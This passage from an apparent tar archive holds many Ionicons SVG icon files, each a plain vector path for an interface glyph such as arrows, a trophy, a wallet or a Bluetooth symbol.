136v107h179.9l-47.2-47.9c-5-5.1-5-13.3.1-18.4 5.1-5 13.3-5 18.4.1l69 70c2.4 2.5 3.7 5.8 3.7 9.1 0 1.7-.3 3.4-1 5-.6 1.5-1.6 2.9-2.7 4.1l-69 70c-5 5.1-13.3 5.2-18.4.1-5.1-5-5.2-13.3-.1-18.4l47.2-47.9H144v107c0 22 18 40 40 40h240c22 0 40-18 40-40V136c0-22-18-40-40-40H184c-22 0-40 18-40 40zM61 243c-7.2 0-13 5.8-13 13s5.8 13 13 13h83v-26H61z"/></svg>ionicons/svg/md-return-left.svg000064400000000253151701353760012562 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M432.8 136v96H122.3l84.4-86.2-33.2-33.8L32 256l141.5 144 33.2-33.8-84.4-86.2H480V136h-47.2z"/></svg>ionicons/svg/ios-color-fill.svg000064400000001144151701353760012547 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M231.5 118.3c.1 0 .1-.1 0 0L175.3 62c-9.3-9.3-21.6-14-33.9-14-12.3 0-24.6 4.7-33.9 14-18.7 18.7-18.7 49.2 0 67.9l49.3 49.3-84.5 84c-11.1 11.1-11 29.2.3 40l131.2 126c10.9 10.4 28 10.4 38.9-.1 37.8-36.6 118.3-114.5 126.7-122.9 5.8-5.8 18.2-7.1 28.7-7.1h.3c5.9 0 8.8-7.1 4.6-11.2L231.5 118.3zm-103.9-7.9c-7.2-7.2-8.3-18.8-2-26.8 3.8-4.9 9.6-7.6 15.8-7.6 5.4 0 10.4 2.1 14.1 5.8l49.3 49.3-28.3 28.3-48.9-49zM403 339.5c-1.6-1.9-4.5-1.9-6.1 0-10.5 12.2-45 53.9-45 76.4 0 26.6 21.5 48.1 48 48.1s48-21.6 48-48.1c.1-22.6-34.3-64.2-44.9-76.4z"/></svg>ionicons/svg/ios-cloudy-night.svg000064400000001412151701353760013111 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M277.8 294.8c-.5 0-1.1-.1-1.6-.1-2.6 0-5.2 0-7.8.3-9.3-40.8-45.9-71.5-89.7-71.5-50.8 0-91.9 40.9-91.9 91.4 0 3.1.2 6.1.5 9.1-31 2.7-55.3 30.1-55.3 61.6C32 419 58.8 448 92.3 448h185.5c41.9 0 75.8-34.7 75.8-76.3 0-41.6-33.9-76.9-75.8-76.9z"/><path d="M452.1 305.4c-2.5.1-5 .2-7.6.2-41.7 0-80.8-15.7-110.3-44.3-29.5-28.5-45.7-66.5-45.7-106.8 0-23 5.3-45.2 15.2-65.3L315.4 70c1.7-2.9-.8-6.5-4.1-6-7.6 1.2-15.7 4-23.2 6.3-59.5 18.2-104.4 68.1-113.7 129.3 1.4-.1 2.9-.1 4.3-.1 26.5 0 52.4 9.2 73 25.9 15.1 12.2 26.9 28 34.2 45.7 23.7 2 45.7 12.4 62.7 29.8 18.7 19.1 29 44.2 29 70.7 0 2.3-.1 4.6-.2 6.8 34.2-8.1 64.3-26.6 86.4-51.8 4.8-5.5 11.3-12.8 15.3-18.5 2-2.8-.3-6.7-3.8-6.3-6.8 1-15.9 3.2-23.2 3.6z"/></svg>ionicons/svg/md-call.svg000064400000000762151701353760011233 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M426.666 330.667a250.385 250.385 0 0 1-75.729-11.729c-7.469-2.136-16-1.073-21.332 5.333l-46.939 46.928c-60.802-30.928-109.864-80-140.802-140.803l46.939-46.927c5.332-5.333 7.462-13.864 5.332-21.333-8.537-24.531-12.802-50.136-12.802-76.803C181.333 73.604 171.734 64 160 64H85.333C73.599 64 64 73.604 64 85.333 64 285.864 226.136 448 426.666 448c11.73 0 21.334-9.604 21.334-21.333V352c0-11.729-9.604-21.333-21.334-21.333z"/></svg>ionicons/svg/logo-codepen.svg000064400000003065151701353760012274 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M241.239 303.936c-15.322-10.357-30.742-20.569-46.062-30.93-2.03-1.373-3.43-1.472-5.502-.029l-38.871 26.154C181.966 319.905 244 361.317 244 361.317v-53.786c-.012-1.224-1.553-2.78-2.761-3.595zM195.092 240.666c15.454-10.16 30.851-20.409 46.109-30.86 1.486-1.018 2.775-3.509 2.799-5.334v-51.706s-62.033 41.124-93.262 61.942c13.7 9.159 26.671 17.913 39.787 26.443 1.02.662 3.396.284 4.567-.485zM269.838 209.354a4521.517 4521.517 0 0 0 47.627 31.815c.916.604 2.92.602 3.839 0l39.751-26.467L268 152.484v53.35c.01 1.201.805 2.821 1.838 3.52zM258.109 230.369c-1.21-.802-3.611-.528-4.743.168-4.817 2.962-9.463 6.203-14.164 9.355-8.248 5.53-25.356 17.023-25.356 17.023l38.842 25.865c1.748 1.157 4.436 1.22 6.26.111l39.014-25.993c.001 0-34.079-22.701-39.853-26.529zM141 237.116v39.609l29.622-19.838z"/><path d="M256 32C132.288 32 32 132.288 32 256s100.288 224 224 224 224-100.288 224-224S379.712 32 256 32zm139 265.006c0 5.785-2.652 9.868-7.511 13.094a38019.909 38019.909 0 0 0-123.286 82.188c-5.854 3.918-11.174 3.754-16.984-.137-40.783-27.314-81.719-54.546-122.625-81.676-5.11-3.389-7.594-7.557-7.594-13.73v-79.729c0-6.141 2.521-10.332 7.624-13.716 40.906-27.13 81.939-54.363 122.724-81.676 5.818-3.896 11.094-4.007 16.938-.095a41090.004 41090.004 0 0 0 123.261 82.195c4.678 3.106 7.453 6.943 7.453 12.66v80.622z"/><path d="M316.247 273.234a3826.352 3826.352 0 0 1-45.386 30.332c-2.412 1.588-2.888 3.318-2.861 6.189v51.346l93.039-62.004-38.527-25.882c-2.345-1.604-3.93-1.567-6.265.019zM370 276.676V237.06l-29.59 19.873z"/></svg>ionicons/svg/md-flag.svg000064400000000550151701353760011224 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M396 83.2c-13.8 1.7-31.1 4.2-49.6 4.2-28.8 0-55-6.8-81.5-12.2C238 69.7 210.2 64 180.8 64c-58.6 0-78.5 12.1-80.6 13.4L96 80.3V448h48V269.8c9.7-1.2 21.9-2 36.9-2 27.3 0 52.8 10 79.8 15.5 27.6 5.6 56 11.5 86.9 11.5 18.4 0 34.6-2.4 48.4-4 7.5-.9 14-1.7 20-2.7V80.2c-5 1-12.5 2.1-20 3z"/></svg>ionicons/svg/md-trophy.svg000064400000001146151701353760011642 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M392 105c.9-27 .2-56 .1-57H119.3c0 1-.8 30 .1 57H48c0 68 9.9 102.3 21 126.7S95.4 277 127.7 302c30.1 23.3 95.5 53.6 104.3 57.6v28.3c-4.6 10-23.5 28.2-83.3 28.2H128v48h256v-48h-25.7c-60.7 0-75-19.1-78.3-28.2v-28.3c9.3-4.6 80.9-40.3 104.4-57.5 25.2-18.4 50.9-51.5 58.7-70.3S464 167 464 105h-72zM109.6 211.9c-8.8-18.2-14-37.9-15.7-61.9h28.7c.7 6 1.4 11.3 2.3 16.3 6.6 39.2 14.8 70.2 25.7 96.5-17.3-13.5-31.3-30.8-41-50.9zm292.8 0c-9.9 20.3-24 37.7-41.6 51.3 11-26.2 19-56.8 25.8-96.9.8-5 1.6-10.3 2.3-16.3h29.3c-1.8 24-6.9 43.7-15.8 61.9z"/></svg>ionicons/svg/md-arrow-dropdown.svg000064400000000151151701353760013274 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M128 192l128 128 128-128z"/></svg>ionicons/svg/md-square-outline.svg000064400000000376151701353760013276 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M405.3 106.7v298.7H106.7V106.7h298.6m0-42.7H106.7C83.2 64 64 83.2 64 106.7v298.7c0 23.5 19.2 42.7 42.7 42.7h298.7c23.5 0 42.7-19.2 42.7-42.7V106.7C448 83.2 428.8 64 405.3 64z"/></svg>ionicons/svg/ios-arrow-dropleft.svg000064400000001103151701353760013447 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M301.3 147.6c-7.5-7.5-19.8-7.5-27.3 0l-95.4 95.7c-7.3 7.3-7.5 19.1-.6 26.6l94 94.3c3.8 3.8 8.7 5.7 13.7 5.7 4.9 0 9.9-1.9 13.6-5.6 7.5-7.5 7.6-19.7 0-27.3l-79.8-81 81.9-81.1c7.5-7.5 7.5-19.7-.1-27.3z"/><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zm124.4 332.4C347.2 413.7 303 432 256 432s-91.2-18.3-124.4-51.6C98.3 347.2 80 303 80 256s18.3-91.2 51.6-124.4C164.8 98.3 209 80 256 80s91.2 18.3 124.4 51.6C413.7 164.8 432 209 432 256s-18.3 91.2-51.6 124.4z"/></svg>ionicons/svg/md-return-right.svg000064400000000252151701353760012744 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M32 136v144h357.7l-84.4 86.2 33.2 33.8L480 256 338.5 112l-33.2 33.8 84.4 86.2H79.2v-96H32z"/></svg>ionicons/svg/md-cloud-upload.svg000064400000000521151701353760012701 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M403.002 217.001C388.998 148.002 328.998 96 256 96c-57.998 0-107.998 32.998-132.998 81.001C63.002 183.002 16 233.998 16 296c0 65.996 53.999 120 120 120h260c55 0 100-45 100-100 0-52.998-40.996-96.001-92.998-98.999zM288 276v76h-64v-76h-68l100-100 100 100h-68z"/></svg>ionicons/svg/ios-bluetooth.svg000064400000001164151701353760012514 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M378.5 333l-88.3-77 88.2-76.1c6.9-6 7.4-16.3 1.1-22.9L262.7 35.6c-2.2-2.3-5.4-3.6-8.6-3.6-6.1 0-11.1 4.9-11.1 10.8V212l-86.3-73.3c-7.1-6-17.8-5.3-24.1 1.5-6.5 7-5.8 17.9 1.6 24.1L243 256l-108.1 90.9c-7.3 6.1-8.1 16.8-1.7 23.9l.3.3c6.3 7 17.3 7.7 24.5 1.5l85-73.6v169.8c0 6.2 5.1 11.2 11.5 11.2 3.2 0 6.2-1.3 8.4-3.5L379.6 356c6.3-6.6 5.8-16.9-1.1-23zm-99.1-232.1l62.7 65.9c.8.8.7 2.1-.2 2.9l-62.7 53c-1.3 1.1-3.4.2-3.4-1.5V102.3c.1-1.9 2.4-2.7 3.6-1.4zm-3.5 309V291.6c0-1.7 2.1-2.6 3.4-1.5l62.7 53c.9.7.9 2 .2 2.9l-62.7 65.3c-1.3 1.3-3.6.4-3.6-1.4z"/></svg>ionicons/svg/ios-contact.svg000064400000001573151701353760012146 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C148.5 48 60.1 129.5 49.2 234.1c-.8 7.2-1.2 14.5-1.2 21.9 0 7.4.4 14.7 1.2 21.9C60.1 382.5 148.5 464 256 464c114.9 0 208-93.1 208-208S370.9 48 256 48zm135.8 326.1c-22.7-8.6-59.5-21.2-82.4-28-2.4-.7-2.7-.9-2.7-10.7 0-8.1 3.3-16.3 6.6-23.3 3.6-7.5 7.7-20.2 9.2-31.6 4.2-4.9 10-14.5 13.6-32.9 3.2-16.2 1.7-22.1-.4-27.6-.2-.6-.5-1.2-.6-1.7-.8-3.8.3-23.5 3.1-38.8 1.9-10.5-.5-32.8-14.9-51.3-9.1-11.7-26.6-26-58.5-28h-17.5c-31.4 2-48.8 16.3-58 28-14.5 18.5-16.9 40.8-15 51.3 2.8 15.3 3.9 35 3.1 38.8-.2.7-.4 1.2-.6 1.8-2.1 5.5-3.7 11.4-.4 27.6 3.7 18.4 9.4 28 13.6 32.9 1.5 11.4 5.7 24 9.2 31.6 2.6 5.5 3.8 13 3.8 23.6 0 9.9-.4 10-2.6 10.7-23.7 7-58.9 19.4-80 27.8C91.6 341.4 76 299.9 76 256c0-48.1 18.7-93.3 52.7-127.3S207.9 76 256 76c48.1 0 93.3 18.7 127.3 52.7S436 207.9 436 256c0 43.9-15.6 85.4-44.2 118.1z"/></svg>ionicons/svg/ios-skip-forward.svg000064400000000366151701353760013122 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M337 100v137.8L108.1 98.1C102.7 95 96 98.8 96 105v302c0 6.2 6.7 10 12.1 6.9L337 274.2V412c0 2.2 1.8 4 4 4h71c2.2 0 4-1.8 4-4V100c0-2.2-1.8-4-4-4h-71c-2.2 0-4 1.8-4 4z"/></svg>ionicons/svg/ios-help-buoy.svg000064400000001267151701353760012417 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zm54.6 36.4c27.1 8.6 52 23.6 72.7 44.3 20.7 20.7 35.7 45.6 44.3 72.7l-88.8 6c-8.2-14-19.9-25.7-33.9-34l5.7-89zm-181.9 44.3c20.7-20.7 45.5-35.7 72.7-44.3l5.7 89c-13.9 8.3-25.6 20-33.9 33.9l-88.9-5.9c8.7-27.1 23.7-52 44.4-72.7zm72.7 298.9c-27.1-8.6-52-23.6-72.7-44.3-20.7-20.7-35.7-45.6-44.3-72.7l89-5.7c8.2 13.9 19.9 25.5 33.8 33.8l-5.8 88.9zM256 324c-37.5 0-68-30.5-68-68s30.5-68 68-68 68 30.5 68 68-30.5 68-68 68zm127.3 59.3c-20.7 20.7-45.6 35.7-72.7 44.3l-5.9-88.9c14.1-8.3 25.8-20.1 34.1-34.2l88.8 6c-8.6 27.2-23.6 52.1-44.3 72.8z"/></svg>ionicons/svg/md-easel.svg000064400000000522151701353760011403 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M128 176h256v128H128z"/><path d="M448 96H64c-8.8 0-16 7.2-16 16v256c0 8.8 6.9 16 15.8 16H448c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16zm-32 240H96V144h320v192zM80 464h57l22.5-64h-56.4zM279.4 48h-46.8l-11.5 32h69.8zM375 464h57l-23-64h-56.5zM232 400h48v32h-48z"/></svg>ionicons/svg/ios-volume-low.svg000064400000001044151701353760012612 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M278.9 145.6c-2.2-1.1-4.6-1.6-6.9-1.6-3.6 0-7.1 1.2-10 3.5L196.8 200H144c-8.8 0-16 7.2-16 16v80c0 8.8 7.2 16 16 16h52.8l65.2 52.5c2.9 2.3 6.5 3.5 10 3.5 2.3 0 4.7-.5 6.9-1.6 5.6-2.7 9.1-8.3 9.1-14.4V160c0-6.2-3.5-11.8-9.1-14.4zM354.4 182.6c-4.6-4.7-12.1-4.8-16.8-.1-4.7 4.7-4.7 12.3-.1 17 14.7 15 22.8 35.1 22.8 56.6 0 21.4-8.1 41.5-22.8 56.6-4.6 4.7-4.6 12.3.1 17 2.3 2.3 5.3 3.5 8.3 3.5 3.1 0 6.1-1.2 8.5-3.6C373.5 310 384 284 384 256.2h-.2c0-28-10.3-54.1-29.4-73.6z"/></svg>ionicons/svg/md-chatbubbles.svg000064400000000522151701353760012570 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M132.8 368c-20.2 0-44.8-24.6-44.8-44.8V160h-9.6C61.7 160 48 173.7 48 190.4V464l58.5-58h215.1c16.7 0 30.4-14.1 30.4-30.9V368H132.8z"/><path d="M429.1 48H149.9C130.7 48 115 63.7 115 82.9V309c0 19.2 15.7 35 34.9 35h238.2l75.9 53V82.9c0-19.2-15.7-34.9-34.9-34.9z"/></svg>ionicons/svg/ios-easel.svg000064400000001743151701353760011603 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M434 461.5l-26.6-69.1c-2.1-5.1-7-8.4-12.4-8.4-4.5 0-8.6 2.2-11.1 5.9s-3 8.4-1.4 12.5l26 69.1c2.1 5.1 7 8.5 12.5 8.5h.5c4.5 0 8.7-2.2 11.2-5.9 2.5-3.8 3-8.5 1.3-12.6zM117.6 384c-5.5 0-10.4 3.3-12.4 8.4l-26.6 69.1c-1.7 4.2-1.2 8.9 1.3 12.6 2.5 3.7 6.7 5.9 11.2 5.9h.5c5.5 0 10.4-3.3 12.5-8.5l26-69.1c1.7-4.1 1.2-8.8-1.4-12.5-2.4-3.7-6.6-5.9-11.1-5.9zM256.6 384h-1.1c-7.4 0-13.4 6-13.4 13.4v36.1c0 7.4 6 14.4 13.4 14.4h1.1c7.4 0 13.4-7 13.4-14.4v-36.1c0-7.4-6-13.4-13.4-13.4z"/><g><path d="M424 128H88c-4.4 0-8 3.6-8 8v176c0 4.4 3.6 8 8 8h336c4.4 0 8-3.6 8-8V136c0-4.4-3.6-8-8-8z"/><path d="M448 80H63.9C46.3 80 32 94.3 32 111.9v224.2c0 17.6 14.3 31.9 31.9 31.9H448c17.7 0 32-14.3 32-32V112c0-17.7-14.3-32-32-32zm4 244c0 8.8-7.2 16-16 16H76c-8.8 0-16-7.2-16-16V124c0-8.8 7.2-16 16-16h364.6c3 0 5.9 1.2 8 3.3 2.1 2.1 3.3 5 3.3 8V324z"/></g><path d="M256 32c-13.4-.2-24.4 12.2-24.4 25.6h48.7c.1-13.4-10.9-25.8-24.3-25.6z"/></svg>ionicons/svg/ios-git-compare.svg000064400000002431151701353760012714 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M233.9 328.1c-2.6-2.6-6.1-4.1-9.9-4.1-3.7 0-7.3 1.4-9.9 4.1-2.6 2.6-4.1 6.1-4.1 9.9 0 3.7 1.4 7.3 4.1 9.9l.1.1 41.1 40.1H166c-20.4 0-33.6-7.5-41.6-23.5-8.4-17-9.4-41.5-9.4-58.5V170.8c15-2.8 28.7-10.5 39-21.9 11.6-12.9 18-29.5 18-46.9 0-38.6-31.4-70-70-70s-70 31.4-70 70c0 17 6.2 33.3 17.3 46.1 9.9 11.3 23.1 19.1 37.7 22.3V306c0 14.7 0 42.1 9.4 65.3 11.9 29.3 36 44.7 69.6 44.7h89.7L216 456.2c-5.4 5.4-5.4 14.3 0 19.8l.1.1c2.7 2.5 6.2 3.9 9.8 3.9 3.8 0 7.3-1.4 9.9-4.1l57.6-57.4c4.2-4.2 6.5-9.8 6.5-15.7 0-5.9-2.3-11.3-6.5-15.5l-59.5-59.2zM102 144c-23.2 0-42-18.8-42-42s18.8-42 42-42 42 18.8 42 42-18.8 42-42 42zM425 341.6V206c0-14.7 0-42.1-9.4-65.3-11.9-29.2-36-44.7-69.6-44.7h-89.7L296 55.8c5.4-5.4 5.4-14.3 0-19.8l-.1-.1c-2.7-2.5-6.2-3.9-9.8-3.9-3.8 0-7.3 1.4-9.9 4.1l-57.6 57.4c-4.2 4.2-6.5 9.8-6.5 15.7 0 5.9 2.3 11.3 6.5 15.5l59.6 59.4c2.6 2.6 6.1 4.1 9.9 4.1 3.7 0 7.3-1.4 9.9-4.1 2.6-2.6 4.1-6.1 4.1-9.9 0-3.7-1.4-7.3-4.1-9.9l-.1-.1-41.2-40.2H346c20.4 0 33.6 7.5 41.6 23.5 8.4 17 9.4 41.5 9.4 58.5v135.2c-15 2.8-28.7 10.5-39 21.9-11.6 12.9-18 29.5-18 46.9 0 38.6 31.4 70 70 70s70-31.4 70-70c0-17-6.2-33.3-17.3-46.1-9.9-11.3-23.2-19.1-37.7-22.3zM410 452c-23.2 0-42-18.8-42-42s18.8-42 42-42 42 18.8 42 42-18.8 42-42 42z"/></svg>ionicons/svg/md-qr-scanner.svg000064400000000655151701353760012372 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M96 124.2c0-6.9 5.2-12.2 12.2-12.2H176V64h-66.8C75.7 64 48 90.7 48 124.2V192h48v-67.8zM403.6 64H336v48h67.2c6.9 0 12.8 5.2 12.8 12.2V192h48v-67.8c0-33.5-27-60.2-60.4-60.2zM416 386.8c0 6.9-5.2 12.2-12.2 12.2H336v49h67.8c33.5 0 60.2-27.7 60.2-61.2V320h-48v66.8zM108.2 399c-6.9 0-12.2-5.2-12.2-12.2V320H48v66.8c0 33.5 27.7 61.2 61.2 61.2H176v-49h-67.8z"/></svg>ionicons/svg/ios-wallet.svg000064400000000470151701353760011776 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M404 160H108c-33.1 0-60 26.9-60 60v168c0 33.1 26.9 60 60 60h296c33.1 0 60-26.9 60-60V220c0-33.1-26.9-60-60-60zM342.9 65L108 110.9c-18 4-44 22.1-44 44.1 0 0 15-19 49-19h287v-20.5c0-12.6-5-28.7-13.9-37.6-11.3-11.3-27.5-16.2-43.2-12.9z"/></svg>ionicons/svg/ios-arrow-dropup.svg000064400000001100151701353760013136 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M147.6 301.3c-7.5-7.5-7.5-19.8 0-27.3l95.7-95.4c7.3-7.3 19.1-7.5 26.6-.6l94.3 94c3.8 3.8 5.7 8.7 5.7 13.7 0 4.9-1.9 9.9-5.6 13.6-7.5 7.5-19.7 7.6-27.3 0l-81-79.8-81.1 81.9c-7.5 7.5-19.7 7.5-27.3-.1z"/><path d="M256 464c114.9 0 208-93.1 208-208S370.9 48 256 48 48 141.1 48 256s93.1 208 208 208zm0-32c-47 0-91.2-18.3-124.4-51.6C98.3 347.2 80 303 80 256s18.3-91.2 51.6-124.4C164.8 98.3 209 80 256 80s91.2 18.3 124.4 51.6C413.7 164.8 432 209 432 256s-18.3 91.2-51.6 124.4C347.2 413.7 303 432 256 432z"/></svg>ionicons/svg/md-close-circle-outline.svg000064400000000756151701353760014344 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 90c44.3 0 86 17.3 117.4 48.6C404.7 170 422 211.7 422 256s-17.3 86-48.6 117.4C342 404.7 300.3 422 256 422s-86-17.3-117.4-48.6C107.3 342 90 300.3 90 256s17.3-86 48.6-117.4C170 107.3 211.7 90 256 90m0-42C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48z"/><path d="M360 330.9L330.9 360 256 285.1 181.1 360 152 330.9l74.9-74.9-74.9-74.9 29.1-29.1 74.9 74.9 74.9-74.9 29.1 29.1-74.9 74.9z"/></svg>ionicons/svg/logo-no-smoking.svg000064400000003054151701353760012736 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M360 256h16v48h-16zM112 304h129.6l-48-48H112z"/><path d="M364.5 60.1c-.4-.2-.7-.4-1-.6-10.9-6-22.5-10.7-34.4-14.8l-5.4-1.8C302.3 36.1 279.6 32 256 32 132.3 32 32 132.3 32 256c0 84.3 46.6 157.6 115.4 195.8.4.2.7.5 1.1.7 10.9 6 22.5 10.7 34.4 14.8l5.4 1.8c21.4 6.8 44 10.9 67.7 10.9 123.7 0 224-100.3 224-224 0-84.3-46.6-157.7-115.5-195.9zM256 426.4c-9.3 0-18.4-.9-27.2-2.4-9.8-1.6-19.3-4.1-28.5-7.3-1.9-.6-3.8-1.2-5.6-1.9-6.5-2.5-12.9-5.3-19-8.6-53.6-28.7-90.1-85.2-90.1-150.3 0-37.2 12.4-71.4 32.7-99.4l237.2 237.2c-28.1 20.3-62.3 32.7-99.5 32.7zm137.8-71L156.6 118.2c28-20.2 62.1-32.6 99.4-32.6 9.3 0 18.3.9 27.2 2.4 9.8 1.6 19.3 4.1 28.5 7.3 1.8.6 3.7 1.2 5.6 1.9 6.2 2.4 12.2 5 18 8.1 54.2 28.5 91.2 85.3 91.2 150.8-.1 37.2-12.5 71.3-32.7 99.3z"/><path d="M352 256h-34l34 34zM384 256h16v48h-16zM360.1 212.7c-8.8-4.1-22-5.7-45.6-5.7h-3.6c-12.7.1-15.9-.1-20-6.1-2.8-4.2-1-14.8 3.7-21.9 1.6-2.4 1.8-5.6.4-8.2-1.4-2.6-4.1-4.2-7-4.3-.1 0-9.4-.1-18.3-3.9-10.6-4.5-15.6-12.1-15.6-23.1 0-25.8 21.8-27.7 22.8-27.7v-16c-12 0-38.8 11-38.8 43.7 0 17.5 9 31 25.7 38 4.2 1.7 8.4 2.9 12 3.6-3.3 9.8-3.6 20.9 1.7 28.7 9 13.3 20.3 13.2 33.3 13.1h3.5c26.3 0 34.6 2.3 38.9 4.3 5.7 2.6 6.8 7.5 6.6 15.7v1h16v-1c0-7.1.3-22.8-15.7-30.2z"/><path d="M400 244c0-25.7-3-39.2-9.1-49.6C382.3 180 368.5 172 352 172h-17.4c2.9-8.3 5.4-19.8 3.5-30.9-3.2-18.8-19.1-30-43.1-30v16c21 0 26.1 9.1 27.4 16.7 2.5 14.5-6.8 32.1-6.9 32.3-1.4 2.5-1.3 5.5.1 7.9s4.1 3.9 6.9 3.9H352c10.9 0 19.4 4.9 25.1 14.6 3.1 5.3 6.9 13.5 6.9 41.4h16v.1z"/></svg>ionicons/svg/ios-musical-note.svg000064400000000657151701353760013115 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M364.3 48.2c-4.7.9-118 24.1-122.2 24.9-4.2.8-8.1 3.6-8.1 8v255.1c0 1.6-.1 7.2-2.4 11.7-3.1 5.9-8.5 10.2-16.1 12.7-3.3 1.1-7.8 2.1-13.1 3.3-24.1 5.4-64.4 14.6-64.4 51.8 0 30.1 21.7 44.5 35 47.1 5 1 11 1 13.8 1 8.2 0 36-3.3 51.2-13.2 11-7.2 24.1-21.4 24.1-47.8V173.1c0-3.8 2.7-7.1 6.4-7.8l92.8-19c7.4-1.5 12.8-8.1 12.8-15.7V55.8c-.1-4.3-3.8-8.8-9.8-7.6z"/></svg>ionicons/svg/ios-albums.svg000064400000000652151701353760011773 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M460.9 161H51.1C31.8 161 16 176.8 16 196.1V428c0 19.3 15.8 35.1 35.1 35.1H461c19.3 0 35.1-15.8 35.1-35.1V196.1c-.1-19.3-15.9-35.1-35.2-35.1zM434 133H78c-7.7 0-14-6.3-14-14s6.3-14 14-14h356c7.7 0 14 6.3 14 14s-6.3 14-14 14zM403.2 77H108.8c-7 0-12.8-5.8-12.8-12.8v-2.4c0-7 5.8-12.8 12.8-12.8h294.4c7 0 12.8 5.8 12.8 12.8v2.4c0 7-5.8 12.8-12.8 12.8z"/></svg>ionicons/svg/md-volume-off.svg000064400000001171151701353760012372 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M405.5 256c0 22.717-4.883 44.362-13.603 63.855l31.88 31.88C439.283 323.33 448 290.653 448 256c0-93.256-64-172.254-149-192v44.978C361 127.632 405.5 186.882 405.5 256zM256 80.458l-51.021 52.48L256 183.957zM420.842 396.885L91.116 67.157l-24 24 90.499 90.413-8.28 10.43H64v128h85.334L256 431.543V280l94.915 94.686C335.795 387.443 318 397.213 299 403.022V448c31-7.172 58.996-22.163 82.315-42.809l39.61 39.693 24-24.043-24.002-24.039-.081.083z"/><path d="M352.188 256c0-38.399-21.188-72.407-53.188-88.863v59.82l50.801 50.801A100.596 100.596 0 0 0 352.188 256z"/></svg>ionicons/svg/md-bed.svg000064400000000426151701353760011047 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M168.7 264.5c29 0 52.4-22.9 52.4-51.2s-23.4-51.2-52.4-51.2-52.4 22.9-52.4 51.2 23.5 51.2 52.4 51.2zm209.5-102.4H238.5v119.5H98.9V128H64v256h34.9v-51.2h314.2V384H448V230.4c0-37.7-31.2-68.3-69.8-68.3z"/></svg>ionicons/svg/ios-reorder.svg000064400000000206151701353760012145 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M80 304h352v16H80zM80 248h352v16H80zM80 192h352v16H80z"/></svg>ionicons/svg/logo-angular.svg000064400000000374151701353760012310 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M213.573 256h84.846l-42.427-89.356z"/><path d="M255.981 32L32 112l46.12 272L256 480l177.75-96L480 112 255.981 32zM344 352l-26.589-56H194.584L168 352h-40L256 72l128 280h-40z"/></svg>ionicons/svg/md-tablet-portrait.svg000064400000000466151701353760013436 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M392 32H120c-13.3 0-24 10.7-24 24v400c0 13.3 10.7 24 24 24h272c13.3 0 24-10.7 24-24V56c0-13.3-10.7-24-24-24zm-8 384H128V80h256v336zm-128 46c-7.7 0-14-6.5-14-14.1 0-7.5 6.2-14 14-14 7.7 0 14.1 6.4 14.1 14-.1 7.6-6.4 14.1-14.1 14.1z"/></svg>ionicons/svg/md-eye-off.svg000064400000001255151701353760011650 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256.1 144.8c56.2 0 101.9 45.3 101.9 101.1 0 13.1-2.6 25.5-7.3 37l59.5 59c30.8-25.5 55-58.4 69.9-96-35.3-88.7-122.3-151.6-224.2-151.6-28.5 0-55.8 5.1-81.1 14.1l44 43.7c11.6-4.6 24.1-7.3 37.3-7.3zM52.4 89.7l46.5 46.1 9.4 9.3c-33.9 26-60.4 60.8-76.3 100.8 35.2 88.7 122.2 151.6 224.1 151.6 31.6 0 61.7-6.1 89.2-17l8.6 8.5 59.7 59 25.9-25.7L78.2 64 52.4 89.7zM165 201.4l31.6 31.3c-1 